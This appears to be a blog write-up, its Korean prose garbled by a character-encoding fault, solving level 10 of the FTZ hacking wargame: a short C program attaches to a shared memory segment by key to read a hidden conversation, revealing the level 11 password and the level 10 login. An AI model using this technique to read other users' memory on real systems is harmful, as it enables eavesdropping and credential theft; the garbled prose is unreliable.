[FTZ] level10 νμ΄
π‘ FTZ level10 νμ΄
λ¬Έμ 
κ³μ  : level10/interesting to hack!
hint
λλͺ
μ μ¬μ©μκ° λνλ°©μ μ΄μ©νμ¬ λΉλ°μ€λ° λνλ₯Ό λλκ³  μλ€.
κ·Έ λνλ°©μ κ³΅μ  λ©λͺ¨λ¦¬λ₯Ό μ΄μ©νμ¬ λ§λ€μ΄μ‘μΌλ©°,
key_tμ κ°μ 7530μ΄λ€. μ΄λ₯Ό μ΄μ©ν΄ λ μ¬λμ λνλ₯Ό λμ²νμ¬
level11μ κΆνμ μ»μ΄λΌ.
- λ λ²¨μ μλ£νμ
¨λ€λ©΄ μμ€λ μ§μ°κ³  λκ°μ£ΌμΈμ.
νμ΄
곡μ λ©λͺ¨λ¦¬μ μ‘΄μ¬νλ λ¬Έμμ΄μ μ½μ΄μ€λ λ¬Έμ μ λλ€.
β리λ μ€ κ³΅μ λ©λͺ¨λ¦¬β λ₯Ό ꡬκΈμ κ²μν΄μ κ°μ₯ μλ¨μ μλ ν¬μ€ν μ μ°Έκ³ νμ¬ μ½λλ₯Ό μμ±νμ΅λλ€.

μ 체 μ½λλ λ€μκ³Ό κ°μ΅λλ€.
prog.c
#include <sys/ipc.h>
#include <sys/shm.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
int main(){
  int shmid;
  char *secret;
  key_t key=7530;
  void *memory_segment = NULL;
  shmid = shmget(key,0,0);  //key κ°μ ν΅ν΄ κ³΅μ  λ©λͺ¨λ¦¬ id μ»κΈ°
  memory_segment = shmat(shmid,NULL,0); // κ³΅μ  λ©λͺ¨λ¦¬ μμΉ
  secret = (char*)memory_segment; //char*λ‘ μΊμ€ν
  printf("%s\n",secret);
}
μ»΄νμΌ ν μ€νν΄ μ€λλ€. λΉλ°λ²νΈλ what!@#$?μ λλ€.
[level10@ftz tmp]$ gcc -o prog prog.c
[level10@ftz tmp]$ ./prog
λ©λ©: level11μ ν¨μ€μλλ?
ꡬν: what!@#$?
 
      
     
      
λκΈλ¨κΈ°κΈ°